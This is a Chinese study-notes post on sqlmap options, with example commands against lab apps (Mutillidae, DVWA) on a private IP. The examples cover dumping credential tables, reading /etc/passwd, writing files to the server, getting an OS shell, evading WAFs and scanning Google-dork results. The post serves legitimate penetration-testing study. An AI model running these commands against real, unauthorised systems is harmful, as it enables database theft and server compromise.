关于SQLMAP的学习笔记
来源:互联网 发布:育知同创怎么样 编辑:程序博客网 时间:2024/05/02 08:49
本文是对于学习SQLMAP参数的使用的一些笔记,不足之处很多会慢慢改进~
SQLMAP是一款开源的、用于SQL注入漏洞检测及利用的工具,它会检测动态页面中get/post参数、cookie、http头,进行数据榨取、文件系统访问和操作系统命令执行,另外还可以进行Xss漏洞检测。关于其更多的描述这里就不多说了,直接入正题,下面从参数的每个大部分的分类开始讲。
在Kali中已默认安装,其他Linux系统的安装要先安装git再通过git到GitHub上下载安装:
apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap
升级:
sqlmap --update
Options:
-h或-hh:查看sqlmap的参数信息,双h显示全部
-v:显示详细的信息,有1-6级,默认为1
--version:查看版本信息Target:
-d:直接连接数据库服务器,作为数据库客户端使用
-u:后面跟URL地址,最好用双引号括起来,一定要存在变量名称
-l:logfile,将Burpsuite或WEbScarab代理记录的log日志文件提交上来
-x:sitemapurl,将站点地图sitemap文件提交上来
-m:将有多个URL的文件提交上来进行扫描
-r:提交HTTP request信息的文件
-g:用Google去搜索
-c:提交配置文件
GET方法:
开始先不使用DVWA来演示,因为DVWA中需要登录要用到cookie等的信息会比较复杂,刚开始先简单地以Mutillidae中的SQL注入为例:sqlmap -u “http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=a&password=hhh&user-info-php-submit-button=View+Account+Details” -p username -f
-p参数只对指定的参数进行注入,在上述命令中指定了对username参数进行注入
-f参数查看指纹信息
查询的结果会保存在log文件中,位于一个root下的隐藏目录.sqlmap,可以进入查看相应的信息:
cd .sqlmap
--users:查看当前数据库所有用户
将注入命令的-f参数改为--users参数,因为已经查询确定过有注入点所以后面的执行速度会很快:
--banner:查看数据库版本信息
--dbs:查看目标数据库系统的所有库
--schema:查看元数据库,查看到的信息会很多,下面只是其中一个表
-a:all,所有数据都查找
-d参数,直接连接数据库服务器,作为数据库客户端使用而不是通过SQL注入漏洞查询进行,查询速度较快,前提是已知数据库当前的用户名及其密码、IP、端口(3306端口为mysql)和数据库名称(dvwa):
sqlmap -d “mysql://user:password@10.10.10.137:3306/dvwa” -f --users
-m参数,将有多个URL的文件提交上来进行扫描:
sqlmap -m urllist.txt --users
-g参数,扫描Google搜索结果:
sqlmap -g “inurl:\”.php?id=1\””
POST方法:
简单判断POST方法的方法,输入的参数内容提交后没有出现在URL中,而GET方法中会出现。使用http request文件,可通过Burpsuite抓取:
sqlmap -r requset.txt
下面以Mutillidae中注入的login为例,启动Burpsuite来截获提交的POST方法:
用gedit保存而最好不用vi,因为格式会改变从而命令执行会出现错误:
使用Burpsuite的log文件:
在Options>Misc>Logging
sqlmap -l target-log
HTTPS:
扫描HTTPS网站时需要添加参数--force-ssl:
sqlmap -u "https://10.10.10.137/a.php?id=1:8843" --force-ssl
扫描配置文件:
sqlmap -c sqlmap.conf
dpkg -L sqlmap | grep sqlmap.conf
Request:
--data数据段:将URL中的参数部分放到后面GET/POST都适用,在GET方法中将URL后面的参数部分提取出来就好,在POST方法中需要自己用Burpsuite查看URL和参数的值即可,当然也可以在浏览器中F12打开开发者工具来查看。
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1&password=2&login-php-submit-button=Login" -f
--param-del:变量分隔符
默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符。
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1;password=2;login-php-submit-button=Login" --param-del=";" -f
--cookie:Cookie头
因为DVWA进入之前需要登录,即要有cookie,所以在对DVWA进行sqlmap查询时需要用到cookie参数。同样,cookie值用Burpsuite可以很方便地查看。
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" -f
Sqlmap会自动检查cookie中的注入点,level至少为2,通过--level 2来执行
Sqlmap会自动检查Set-cookie并更新,若想保留之前使用是用--drop-set-cookie
--user-agent:sqlmap/1.0-dev-nongit-201611220a89 (http://sqlmap.org)
Sqlmap检查user-agent的注入点,level>=3
用wireshark的追踪TCP流抓取sqlmap扫描时发送的包,查看其user-Agent:
很多服务器对于user-agent中出现sqlmap字样的都会被过滤掉,因此需要通过--user-agent参数进行修改,可以从刚刚用的Burpsuite中找:
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0"
执行之后可看到user-agent已修改:
--random-agent:
保存在/usr/share/sqlmap/txt/user-agents.txtsqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --random-agent --users
user-agent使用的是该文件中随机的一项:
--host:修改Host头主机内容
Level=5时sqlmap自动扫描
有上面的扫描结果知道,Host为10.10.10.137,直接在上面的命令中添加--host修改为HHH:
--referer:
Level>=3时sqlmap自动扫描:
Referer头显示的是当前页面的URL:
修改为RRR:
--headers:
自定义的HTTP头,每行一个头,大小写区分:
--headers=”Host:HT\nUser-Agent:UA”
--method=GET/POST:指定使用GET方法或者POST方法
基于HTTP协议的身份验证:
Basic:基本身份验证
Digest:摘要身份验证
NTLM:Windows可能用的身份验证
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --auth-type Basic --auth-cred “user:password”
--auth-file:
需要PEM格式的证书文件
--auth-file=”ca.PEM”
http(s)代理:
--proxy=”http://127.0.0.1:8087”
--proxy-cred=”username:password”:身份认证
--ignore-proxy:忽略系统级代理设置,通常用于扫描本地网络目标
sqlmap -u “http://10.10.10.137/a.php?id=1” --proxy=”http://127.0.0.1:8087” -f
--delay:
每次http(s)请求之间延迟时间,浮点数,单位为秒,默认为无延迟--timeout:
请求超时时间,浮点数,默认为30s--retries:
http(s)连接超时重试次数,默认3次
--randomize:
长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名--scope:
过滤日志内容,通过正则表达式筛选扫描对象
sqlmap -l burp.log --scope=”(www)?\.target\.(com|net|org)”
sqlmap -l burp.log --scope="(1)?\.10\.10\.(1|10|100|137)" --dbs
--safe-url和--safe-freq:
因为检测和盲注阶段会产生大量失败请求,服务器可能会销毁session。因此可以使用上述两个参数来解决,每发送--safe-freq次注入请求后,发送一次正常请求,即发送几个失败请求后就发送一次正常信息,绕过服务器的检测机制。--skip-urlencode:
默认GET方法会对传输内容进行编码,使用该参数使在GET方法中提交原始字符数据而不进行编码--eval:
每次请求前执行指定的python代码
每次请求更改或增加新的参数值(时间以来、其他参数值依赖)
sqlmap -u “http://10.10.10.137/a.php?id=1&hash=” --eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
上述Hash值和类id的这个参数相关联,通过该参数进行哈希算法算出后面的hash的值,服务器对这类的检验是要求保持一致,使用--eval参数可以令其保持同步。
Optimization优化性能:
--predict-output:
与--threads参数不兼容
根据检测方法,将返回值跟统计表中的内容进行比较,缩小检测范围,提高效率
统计表在/usr/share/sqlmap/txt/common-outputs.txt,其中有版本名、用户名、密码、权限、角色、数据库名、表名、列名等等
--keep-alive:
使用http(s)长连接,避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
与--proxy参数不兼容
--null-connection:
常用于盲注判断,只获取相应页面的大小值,而不是页面的具体内容,降低了网络带宽消耗
与--text-only参数不兼容(也常用于盲注,基于页面内容的比较判断真假)
-o:同时使用--predict-output、--keep-alive和--null-connection三个参数
--threads:
最大并发线程,默认值为1,建议不要超过10,否则会影响站点可用性
与--predict-output参数不兼容
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束Injection:
-p:指定扫描的参数,其他的参数的注入不会进行,使--level失效
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username"
--skip:排除指定的扫描参数
--level=5 --skip=”id,user-agent”
URI注入点:
sqlmap -u “http://1.1.1.1/param1/value1*/param2/value2/”
--dbms:指定数据库,可以加版本号,提高注入的效率
数据库名如MySQL<5.0>、Oracle<11i>、Microsoft SQL Server<2005>、PostgreSQL等--os:指定目标操作系统,提高效率
如Linux、Windows--invalid-bignum / --invalid-logical:
默认情况下,sqlmap使用赋值使参数值失效
Bignum使用大数使参数值失效
Logical使用布尔判断使参数值失效--no-cast:
默认情况下,sqlmap榨取数据时会将所有结果转换为字符串,并用空格替换NULL结果
老版本mysql数据库对此提取不到数据,因而需要该参数取消这个默认处理方式--no-escape:
默认情况下,当payload中有单引号括起字符串时,为了避免混淆和出错,sqlmap使用char()函数编码来替换字符串,但有些服务器对于编码数据的处理会出错,而这时就需要该参数来关闭此功能
--prefix / --suffix:
添加前缀或后缀
一种情况添加前后缀进行注入:
已知SQL语句:$query=”SELECT * FROM users WHERE id=(‘”.$_GET[‘id’].”’) LIMIT 0,1 ”
sqlmap -u “http://1.1.1.1/a.php?id=1” -p “id” --prefix “’)” --suffix “AND (‘1’=’1”
注入后语句为:query=”SELECT * FROM users WHERE id=(‘1’) <PAYLOAD> AND (‘1’=’1’) LIMIT 0,1 ”
--tamper:
混淆脚本,用于绕过应用层过滤、IPS、WAF
查看脚本:dpkg -L sqlmap | grep tamper
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --tamper="randomcase.py,space2dash.py" --users -v 3
Detection:
--level:1-5级,默认为1
每个级别发送不同的xml类型的payload:/usr/share/sqlmap/xml/payloads--risk:1-4级,默认为1、无害
Risk升高可造成数据被篡改等风险--string / --not-string:指定出现的字段或指定不出现的字段判断真假
--regexp:正则表达式
--code:指定HTTP返回代码判断真假
--text-only:指定页面的一段内容判断真假
--titles:指定页面的标题判断真假
Techniques:
默认使用全部技术
B:基于布尔的盲注漏洞
E:基于错误的检测
U:基于UNION联合查询的检测
S:基于堆叠查询的检测(文件系统、操作系统、注册表必须)
T:基于时间的盲注漏洞
--time-sec:基于时间的注入检测相应的延迟时间,默认为5s
--union-cols:
默认联合查询1-10列,随--level增加最多支持50列
--union-cols 6-9--union-char:默认NULL
可以手动指定数值:--union-char 123--dns-domain:
攻击者控制了一台DNS服务器,使用该参数可提高数据榨取的速度--second-order:
不同的情况:在一个页面注入的结果,从另一个页面体现出来
--second-order http://10.10.10.137/b.phpFingerprint:
-f、--fingerprint、-b、--banner:
查看数据库管理系统指纹信息、DBMS、操作系统、架构、补丁Enumeration枚举:
--current-user:查看当前数据库管理系统用户
--current-db:查看当前数据库
--hostname:查看目标主机名
--users:查看数据库管理系统所有用户账号
--privileges -U username:查看用户权限,CU为当前用户
--roles:查看角色
--dbs:查看所有数据库
--tables:查看表
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa --tables
指定数据库为dvwa,查看它所有的表:
进一步,查看users表中的所有列:
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --columns
--exclude-sysdbs:排除系统数据库的查询
--count:计算该项的数目
--schema:查看元数据库
--batch:参数采用默认选项,不进行询问
Dump数据:
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump --batch
--start,--stop指定查看的部分:
在上述命令上加上--start 3 --stop 4来查看3、4条的信息:
--dump-all查看全部:
Dump下来的数据保存在默认目录中:
--sql-query:加SQL语句来执行
Brute Force:
无权读取information_schema库时,需要用到暴力破解来扫描
--common-tables:暴力破解表名--common-columns:暴力破解列名
UDF Injection:
--udf-inject,--shared-lib:
编译共享库创建并上传至DB Server,一次生成UDF实现高级注入
Linux:shared object
Windows:DLL
查看相关文档:http://www.slideshare.net/quis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857File System:
--file-read:
--file-read=”/etc/passwd”
--file-write:
--file-write=”1.php” --file-dest=“/tmp/1.php”--file-dest参数为存放的路径
OS:
--os-cmd:执行一条命令,前提是当前用户有权执行
--os-shell:获取一个shell,前提是当前用户有权执行
--sql-shell:获取sql-shell,前提是当前用户有权执行
Windows Registory:
对注册表的操作需要相应的Windows权限才能进行
-reg-read:读取注册表--reg-add:在注册表中添加项
--reg-del:删除注册表这种的项
--reg-key、--reg-value、--reg-data、--reg-type:对相应的键值、取值、数据、类型等进行修改
General:
-s:sqlite会话文件保存位置-t:记录流量文件保存位置
--charset:强制字符编码
--charset=GBK
--crawl:从起始位置爬站深度
--csv-del:dump数据默认存于“,”分割的CSV文件中,指定其他分隔符
--dbms-cred:指定数据库账号
--flush-session:清空session
--force-ssl:指定访问的为HTTPS网站
--fresh-queries:忽略session查询结果
--hex:dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原
--output-dir:指定输出数据的目录而不采用默认的目录
--parse-errors:分析和实现数据库内建报错信息
--save:将命令保存成配置文件
Miscellaneous:
-z:参数助记符
-z “ign,bat,flu”上述命令参数相当于--ignore-proxy --batch --flush-session
--answer:当遇到指定问题时按指定的选项执行
answer=”extending=N”
--check-waf:检测WAF/IPS/IDS
--hpp:HTTP parameter pollution
绕过WAF/IPS/IDS的有效方法,特别是对ASP/IIS和ASP.NET/IIS--identity-waf:更彻底的WAF/IPS/IDS检查
--mobile:模拟智能手机设备
--purge-output:清除output文件夹
--smart:当大量检测目标时,只选择基于错误的检测结果
--wizard:命令参数向导
- 关于SQLMAP的学习笔记
- sqlmap的学习笔记
- 学习笔记---sqlmap
- sqlmap学习笔记 【1】
- [sqlmap]学习笔记#1
- sqlmap 随笔 羽翼sqlmap学习笔记
- 羽翼sqlmap课程学习笔记
- iBatis2学习笔记:SqlMap 的配置总结(18条)
- iBatis2学习笔记:SqlMap的配置总结(18条)
- iBatis2学习笔记:SqlMap的配置总结(18条)
- iBatis2学习笔记:SqlMap的配置总结(18条)
- iBatis2学习笔记:SqlMap 的配置总结(18条)
- sqlmap 的源码学习笔记一之目录结构
- sqlmap 的源码学习笔记二之编写tamper脚本
- iBatis2学习笔记:SqlMap的配置总结(18条)
- sqlmap 的源码学习笔记一之目录结构
- iBatis2学习笔记:SqlMap的配置总结(18条)
- 关于sqlmap的异常退出
- [CODEVS1916]负载平衡问题(费用流)
- SSM框架之MyBatis(二)--多表查询及查询结果映射
- java中你的单例在裸奔吗?
- 【STL】:使用栈来进行符号匹配的判断
- catkin_ws修改记录
- 关于SQLMAP的学习笔记
- 往夜 -- 原来世界如此性感
- 51Nod 1384 全排列
- C语言链表创建的电子通讯录V1.0
- 静态fragment传值
- ORACLE导入dmp备份数据
- Python系统操作(sys、os)模块
- Java注释
- android底部弹窗的几种实现方式